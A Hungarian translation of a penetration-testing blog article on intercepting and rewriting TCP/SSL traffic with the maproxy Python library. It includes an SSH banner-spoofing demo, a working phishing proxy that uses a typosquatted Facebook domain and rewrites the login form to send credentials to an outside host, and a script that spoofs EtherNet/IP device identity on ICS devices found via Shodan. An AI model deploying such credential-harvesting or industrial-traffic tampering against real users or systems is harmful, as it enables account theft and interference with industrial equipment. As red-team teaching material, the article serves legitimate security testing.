Hálózati adatok feldolgozása valós időben

A cikk fordítása a kurzus megkezdése előtt készült „Pentest. A penetrációs tesztelés gyakorlata”.

Hálózati adatok feldolgozása valós időben

Összefoglaló

A biztonsági értékelés különböző formái, kezdve a rendszeres behatolási tesztektől és a Red Team műveletektől egészen az IoT/ICS-eszközök és SCADA hackeléséig, magukban foglalják a bináris hálózati protokollokkal való munkát, azaz lényegében a hálózati adatok lehallgatását és módosítását a kliens és a cél között. A hálózati forgalom lehallgatása nem bonyolult feladat, mivel ilyen eszközök állnak rendelkezésre, mint a Wireshark, Tcpdump vagy Scapy, azonban a módosítás egy nehezebb feladatnak tűnik, mivel szükségünk lenne egy speciális felületre az adatok olvasásához, szűréséhez, valós időben történő módosításához és visszaküldéséhez a célgépre. Továbbá ideális lenne, ha egy ilyen eszköz automatikusan tudna dolgozni több párhuzamos kapcsolaton és lehetőség lenne a testreszabásra is.

Egyszer felfedeztem egy eszközt, amelyet úgy hívnak, hogy maproxy, a dokumentáció gyorsan megmutatta nekem, hogy maproxy – éppen az, amire szükségem volt. Ez egy viszonylag egyszerű, univerzális és könnyen konfigurálható TCP-proxi. Teszteltem ezt az eszközt néhány elég összetett alkalmazáson, beleértve az ICS-eszközöket (amelyek sok csomagot generálnak), hogy megtudjam, képes-e több párhuzamos kapcsolattal dolgozni, és az eszköz jól teljesített.

Ez a cikk bemutatja Önnek a hálózati adatok valós idejű feldolgozását a segítségével maproxy.

Áttekintés

Eszköz maproxy amely a Tornado-n alapul – egy népszerű és fejlett aszinkron hálózati keretrendszer a Python nyelvhez.

Összességében több üzemmódban tud működni:

  • TCP:TCP – titkosítatlan TCP-kapcsolatok;
  • TCP:SSL és SSL:TCP – egyirányú titkosítással;
  • SSL:SSL – kétirányú titkosítás.

Könyvtár formájában érkezik. A gyors indításhoz a könyvtár alapvető funkcióit tükröző példa fájlokat használhatja,:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

1. eset – egyszerű kétirányú proxy

Alapján tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

már tartalmaz egy előre létrehozott önaláírt TLS/SSL tanúsítványt. Ennyi nekem elegendő, mivel zárva tartom a külső hozzáférést. Azoknak, akik más típusú tanúsítványokat szeretnének használni, van ProxyServer() két argumentumot vár – a kapcsolat helyét és a célt portot. server.listen() egy argumentumot fogad – a bejövő kapcsolatok hallgatási portját.

A szkript végrehajtása:

# python tcp2tcp.py

A teszt lefolytatásához csatlakozni fogunk egy helyi SSH-szerverhez a proxy-szkriptünkön keresztül, amely a 2222/tcp a portot és az alapértelmezett portra csatlakozik 22/tcp SSH szerverek:

Hálózati adatok feldolgozása valós időben

A köszöntő banner arról tájékoztat, hogy példascriptünk sikeresen proxyzott hálózati forgalmat.

2. eset – adatmódosítás

Másik demó script logging_proxy.py tökéletesen alkalmas hálózati adatokkal való interakcióra. A fájl megjegyzései leírják azokat a osztályok metódusait, amelyeket módosíthat a célja elérése érdekében:

Hálózati adatok feldolgozása valós időben

A legérdekesebb itt:

  • on_c2p_done_read – az adatok elfogására az ügyféltől a szerverig;
  • on_p2s_done_read – az ellenkező irányba.

Próbáljuk meg módosítani az SSH banner-t, amelyet a szerver küld a kliensnek:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Futtassa a scriptet:

Hálózati adatok feldolgozása valós időben

Ahogy látja, a kliens megtévesztő információt kapott, mivel az SSH szerver neve "DumnySSH"-ra változott. «DumnySSH».

Hálózati adatok feldolgozása valós időben

3. eset – egyszerű phishing weboldal

Ennek az eszköznek végtelen felhasználási lehetősége van. Ezúttal nézzünk meg valami praktikusat a Red Team műveleteiből. Utánozzuk a landing oldalt m.facebook.com és használjunk egy egyedi domaint szándékos elírával, például m.facebok.com. A bemutató érdekében egyszerűen tegyük fel, hogy a domaint mi regisztráltuk.

Nemes kapcsolatot fogunk létesíteni a célpontunk proxyjával és SSL Stream segítségével a Facebook szerverhez (31.13.81.36). Ahhoz, hogy ez a példa működjön, módosítanunk kell a HTTP host fejlécre vonatkozó címét, és be kell illesztenünk a helyes host nevet, továbbá ki kell kapcsolnunk a válaszok tömörítését, hogy könnyen hozzáférhessünk a tartalmukhoz. Végső soron módosítjuk a HTML űrlapot, hogy a bejelentkezési adatok hozzánk kerüljenek, ahelyett, hogy a Facebook szerverekhez mennének:

[…]
def on_c2p_done_read(self,data):
 # a Host fejléc cseréje
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# a tömörítés kikapcsolása
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # válasz részleges cseréje
     data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Végül:

Hálózati adatok feldolgozása valós időben

Ahogy látja, sikerült az eredeti weboldalt becsapnunk.

4. eset – Ethernet/IP módosítása

Elég hosszú ideje foglalkozom ipari eszközökkel és szoftverekkel (ICS / SCADA), mint például programozható logikai vezérlők (PLC), bemeneti-kimeneti modulok, hajtások, relék, létra programozási környezetek és még sok más. Ez az eset azoknak szól, akik szeretik az ipari dolgokat. Az ilyen megoldások feltörése aktív játékot jelent a hálózati protokollokkal. A következő példában szeretném megmutatni, hogyan módosíthatja az ICS/SCADA hálózati forgalmát.

Ehhez a következőkre lesz szüksége:

  • Hálózati figyelőre, például Wireshark-ra;
  • Ethernet/IP vagy egyszerűen SIP-eszközre, amelyet a Shodan szolgáltatással találhat meg;
  • A mi scriptünkre, ami alapja: maproxy.

Először nézzük meg, hogyan néz ki egy tipikus azonosító válasz a CIP (Common Industrial Protocol) protokolltól:

Hálózati adatok feldolgozása valós időben

Az eszköz azonosítása Ethernet/IP protokollal történik, amely az Ethernet ipari célú kiterjesztett változata, és mely a vezérlési protokollokat, például a CIP-t öleli fel. Meg fogjuk változtatni a megjelenített azonosító nevet, amely a képernyőképen látható. „NI-IndComm for Ethernet” a proxy-skriptünkkel. Újra felhasználhatnánk a szkriptet logging_proxy.py és hasonló módon módosíthatnánk a class metódust, on_p2s_done_readmivel szeretnénk, hogy a kliens egy másik azonosító nevet lásson.

Kód:

[…]
 def on_p2s_done_read(self,data):
 # a válasz részleges cseréje

 # Ellenőrzés, hogy megkaptuk-e a List Identity üzenet válaszát
     if data[26:28] == b'x0cx00':
         print('Válasz érkezett, csere folyamatban')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Alapvetően az eszköz azonosítását kétszer kértük, a második válasz – az eredeti, az első pedig a helyszínen módosított volt.

És végül

Szerintem maproxy egy kényelmes és egyszerű eszköz, ráadásul Python nyelven készült, ezért úgy gondolom, hogy Ön is profitálhat a használatából. Természetesen léteznek bonyolultabb eszközök a hálózati adatok feldolgozására és módosítására, de ezek is több figyelmet igényelnek, és általában konkrét használati forgatókönyvhöz készülnek, például, Muraena, Modlishka vagy evilginx a harmadik esetekhez hasonlóan, vagy pedig canape az utolsó esethez. Így vagy úgy, a maproxy segítségével gyorsan megvalósíthatja a hálózati adatok elfogására irányuló ötleteit, mivel a szkript példák nagyon szemléletesek.

Az autentikációs mechanizmusok tesztelése a Windows AD környezetben

Forrás: habr.com

Megbízható hosting vásárlása weboldalak számára, DDoS védelemmel, VPS VDS szerverek. 🔥 Megbízható webtárhely vásárlása DDoS védelemmel, VPS VDS szerverek | ProHoster